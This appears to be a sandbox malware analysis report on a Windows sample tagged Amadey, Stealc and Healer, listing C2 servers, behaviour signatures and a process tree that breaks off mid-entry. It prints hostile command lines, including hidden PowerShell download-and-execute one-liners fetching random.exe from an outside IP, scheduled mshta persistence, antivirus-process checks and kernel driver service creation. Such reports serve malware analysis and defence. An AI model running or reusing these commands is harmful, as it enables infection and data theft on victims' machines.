Overview

overview

10

Static

static

5

f5b76ee2f8...2d.exe

windows7-x64

10

f5b76ee2f8...2d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2025, 15:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f5b76ee2f82d8dcc2dd274f1db28f32d.exe

  • Size

    938KB

  • MD5

    f5b76ee2f82d8dcc2dd274f1db28f32d

  • SHA1

    a987208afef07acd1406d8ab4a61a0ba7e2f7777

  • SHA256

    5fd7a1d8d4083ed82cff3fce09c63c0945404c8cc37997b79448700cdf218ba5

  • SHA512

    0505088b4b5d24137505dff28822ea4d5d10097b7cfa3494d9079d0532c20538b83a2011d8bc62737ebdb5b5ab28692048859a7ed7e1bb6c6253158bde178474

  • SSDEEP

    24576:sqDEvCTbMWu7rQYlBQcBiT6rprG8a0yu:sTvC/MTQYxsWR7a0y

Score
10/10
amadeyhealerstealc092155trumpdefense_evasiondiscoverydropperevasionexecutionexploitpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 15 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 30 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 51 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 8 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Drops file in Program Files directory 46 IoCs
  • Drops file in Windows directory 41 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 31 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1260
      • C:\Users\Admin\AppData\Local\Temp\f5b76ee2f82d8dcc2dd274f1db28f32d.exe
        "C:\Users\Admin\AppData\Local\Temp\f5b76ee2f82d8dcc2dd274f1db28f32d.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2284
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn enZacmaLhcM /tr "mshta C:\Users\Admin\AppData\Local\Temp\VzWCtgcdJ.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2364
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn enZacmaLhcM /tr "mshta C:\Users\Admin\AppData\Local\Temp\VzWCtgcdJ.hta" /sc minute /mo 25 /ru "Admin" /f
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2464
        • C:\Windows\SysWOW64\mshta.exe
          mshta C:\Users\Admin\AppData\Local\Temp\VzWCtgcdJ.hta
          3⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1820
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RVYEY510HVKRJJY3LS4JCYM2A6VB1W9E.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1376
            • C:\Users\Admin\AppData\Local\TempRVYEY510HVKRJJY3LS4JCYM2A6VB1W9E.EXE
              "C:\Users\Admin\AppData\Local\TempRVYEY510HVKRJJY3LS4JCYM2A6VB1W9E.EXE"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Loads dropped DLL
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2660
              • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Downloads MZ/PE file
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Users\Admin\AppData\Local\Temp\10340260101\9e426d06c1.exe
                  "C:\Users\Admin\AppData\Local\Temp\10340260101\9e426d06c1.exe"
                  7⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1512
                • C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
                  "C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:888
                  • C:\Windows\SysWOW64\CMD.exe
                    "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                    8⤵
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:2492
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      9⤵
                      • Enumerates processes with tasklist
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:236
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /I "opssvc wrsa"
                      9⤵
                        PID:1388
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        9⤵
                        • Enumerates processes with tasklist
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3040
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:2480
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c md 267978
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:2064
                      • C:\Windows\SysWOW64\extrac32.exe
                        extrac32 /Y /E Spanish.vss
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:808
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /V "East" Removed
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:2400
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:1608
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                        9⤵
                          PID:1000
                        • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                          Exam.com j
                          9⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:2836
                        • C:\Windows\SysWOW64\choice.exe
                          choice /d y /t 5
                          9⤵
                          • System Location Discovery: System Language Discovery
                          PID:2796
                    • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                      "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:532
                    • C:\Users\Admin\AppData\Local\Temp\10341150101\c587569be1.exe
                      "C:\Users\Admin\AppData\Local\Temp\10341150101\c587569be1.exe"
                      7⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2588
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c schtasks /create /tn ffSXgmad6W5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\kzER8lJ6n.hta" /sc minute /mo 25 /ru "Admin" /f
                        8⤵
                        • System Location Discovery: System Language Discovery
                        PID:1756
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn ffSXgmad6W5 /tr "mshta C:\Users\Admin\AppData\Local\Temp\kzER8lJ6n.hta" /sc minute /mo 25 /ru "Admin" /f
                          9⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:3044
                      • C:\Windows\SysWOW64\mshta.exe
                        mshta C:\Users\Admin\AppData\Local\Temp\kzER8lJ6n.hta
                        8⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies Internet Explorer settings
                        PID:1200
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GCOQPIBVXC8IYUYJHM1WTYYOO0CRUAOV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                          9⤵
                          • Blocklisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Downloads MZ/PE file
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3068
                          • C:\Users\Admin\AppData\Local\TempGCOQPIBVXC8IYUYJHM1WTYYOO0CRUAOV.EXE
                            "C:\Users\Admin\AppData\Local\TempGCOQPIBVXC8IYUYJHM1WTYYOO0CRUAOV.EXE"
                            10⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1804
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\10341160121\am_no.cmd" "
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:2120
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 2
                        8⤵
                        • Delays execution with timeout.exe
                        PID:2480
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                        8⤵
                        • System Location Discovery: System Language Discovery
                        PID:2176
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                          9⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2076
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                        8⤵
                        • System Location Discovery: System Language Discovery
                        PID:2240
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                          9⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1760
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                        8⤵
                          PID:1696
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                            9⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:764
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn "R8NVzmaDAzS" /tr "mshta \"C:\Temp\TCyXqVw31.hta\"" /sc minute /mo 25 /ru "Admin" /f
                          8⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:2104
                        • C:\Windows\SysWOW64\mshta.exe
                          mshta "C:\Temp\TCyXqVw31.hta"
                          8⤵
                          • System Location Discovery: System Language Discovery
                          • Modifies Internet Explorer settings
                          PID:1712
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                            9⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Downloads MZ/PE file
                            • Loads dropped DLL
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2244
                            • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                              "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                              10⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2660
                      • C:\Users\Admin\AppData\Local\Temp\10341300101\BIm18E9.exe
                        "C:\Users\Admin\AppData\Local\Temp\10341300101\BIm18E9.exe"
                        7⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1904
                      • C:\Users\Admin\AppData\Local\Temp\10341310101\7IIl2eE.exe
                        "C:\Users\Admin\AppData\Local\Temp\10341310101\7IIl2eE.exe"
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        PID:2020
                        • C:\Windows\SysWOW64\CMD.exe
                          "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
                          8⤵
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:1236
                          • C:\Windows\SysWOW64\tasklist.exe
                            tasklist
                            9⤵
                            • Enumerates processes with tasklist
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1080
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr /I "opssvc wrsa"
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:2352
                          • C:\Windows\SysWOW64\tasklist.exe
                            tasklist
                            9⤵
                            • Enumerates processes with tasklist
                            • Suspicious use of AdjustPrivilegeToken
                            PID:988
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:2224
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c md 418377
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:2772
                          • C:\Windows\SysWOW64\extrac32.exe
                            extrac32 /Y /E Leon.cab
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:2468
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr /V "BEVERAGES" Compilation
                            9⤵
                              PID:2740
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
                              9⤵
                              • System Location Discovery: System Language Discovery
                              PID:1252
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
                              9⤵
                                PID:2916
                              • C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
                                Passwords.com N
                                9⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:348
                              • C:\Windows\SysWOW64\choice.exe
                                choice /d y /t 5
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:940
                          • C:\Users\Admin\AppData\Local\Temp\10341320101\TbV75ZR.exe
                            "C:\Users\Admin\AppData\Local\Temp\10341320101\TbV75ZR.exe"
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            PID:1448
                            • C:\Windows\SysWOW64\CMD.exe
                              "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                              8⤵
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:1628
                              • C:\Windows\SysWOW64\tasklist.exe
                                tasklist
                                9⤵
                                • Enumerates processes with tasklist
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2640
                              • C:\Windows\SysWOW64\findstr.exe
                                findstr /I "opssvc wrsa"
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:2084
                              • C:\Windows\SysWOW64\tasklist.exe
                                tasklist
                                9⤵
                                • Enumerates processes with tasklist
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2624
                              • C:\Windows\SysWOW64\findstr.exe
                                findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:1220
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c md 267978
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:1916
                              • C:\Windows\SysWOW64\extrac32.exe
                                extrac32 /Y /E Spanish.vss
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:1068
                              • C:\Windows\SysWOW64\findstr.exe
                                findstr /V "East" Removed
                                9⤵
                                  PID:3060
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                                  9⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1792
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                                  9⤵
                                    PID:1508
                                  • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                                    Exam.com j
                                    9⤵
                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SendNotifyMessage
                                    PID:3056
                                  • C:\Windows\SysWOW64\choice.exe
                                    choice /d y /t 5
                                    9⤵
                                      PID:1064
                                • C:\Users\Admin\AppData\Local\Temp\10341330101\f73ae_003.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10341330101\f73ae_003.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:2176
                                • C:\Users\Admin\AppData\Local\Temp\10341340101\WLbfHbp.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10341340101\WLbfHbp.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Drops file in Windows directory
                                  PID:2328
                                  • C:\Windows\SysWOW64\CMD.exe
                                    "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                                    8⤵
                                    • Loads dropped DLL
                                    PID:1612
                                    • C:\Windows\SysWOW64\tasklist.exe
                                      tasklist
                                      9⤵
                                      • Enumerates processes with tasklist
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1596
                                    • C:\Windows\SysWOW64\findstr.exe
                                      findstr /I "opssvc wrsa"
                                      9⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3064
                                    • C:\Windows\SysWOW64\tasklist.exe
                                      tasklist
                                      9⤵
                                      • Enumerates processes with tasklist
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2316
                                    • C:\Windows\SysWOW64\findstr.exe
                                      findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                      9⤵
                                        PID:236
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c md 267978
                                        9⤵
                                          PID:3052
                                        • C:\Windows\SysWOW64\extrac32.exe
                                          extrac32 /Y /E Spanish.vss
                                          9⤵
                                            PID:2332
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1136
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1616
                                          • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                                            Exam.com j
                                            9⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            PID:2052
                                          • C:\Windows\SysWOW64\choice.exe
                                            choice /d y /t 5
                                            9⤵
                                              PID:408
                                        • C:\Users\Admin\AppData\Local\Temp\10341350101\84648d4c83.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10341350101\84648d4c83.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:1712
                                          • C:\Windows\system32\WerFault.exe
                                            C:\Windows\system32\WerFault.exe -u -p 1712 -s 64
                                            8⤵
                                            • Loads dropped DLL
                                            PID:2320
                                        • C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:684
                                          • C:\Users\Admin\AppData\Local\Temp\11.exe
                                            "C:\Users\Admin\AppData\Local\Temp\11.exe"
                                            8⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            PID:696
                                            • C:\Windows\system32\cmd.exe
                                              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\43C4.tmp\43C5.tmp\43C6.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
                                              9⤵
                                                PID:1444
                                                • C:\Users\Admin\AppData\Local\Temp\11.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\11.exe" go
                                                  10⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                  PID:1720
                                                  • C:\Windows\system32\cmd.exe
                                                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\447F.tmp\4480.tmp\4481.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
                                                    11⤵
                                                    • Drops file in Program Files directory
                                                    PID:740
                                                    • C:\Windows\system32\sc.exe
                                                      sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:2988
                                                    • C:\Windows\system32\sc.exe
                                                      sc start ddrver
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:1916
                                                    • C:\Windows\system32\timeout.exe
                                                      timeout /t 1
                                                      12⤵
                                                      • Delays execution with timeout.exe
                                                      PID:2008
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop ddrver
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:1896
                                                    • C:\Windows\system32\sc.exe
                                                      sc start ddrver
                                                      12⤵
                                                      • Launches sc.exe
                                                      PID:3000
                                                    • C:\Windows\system32\takeown.exe
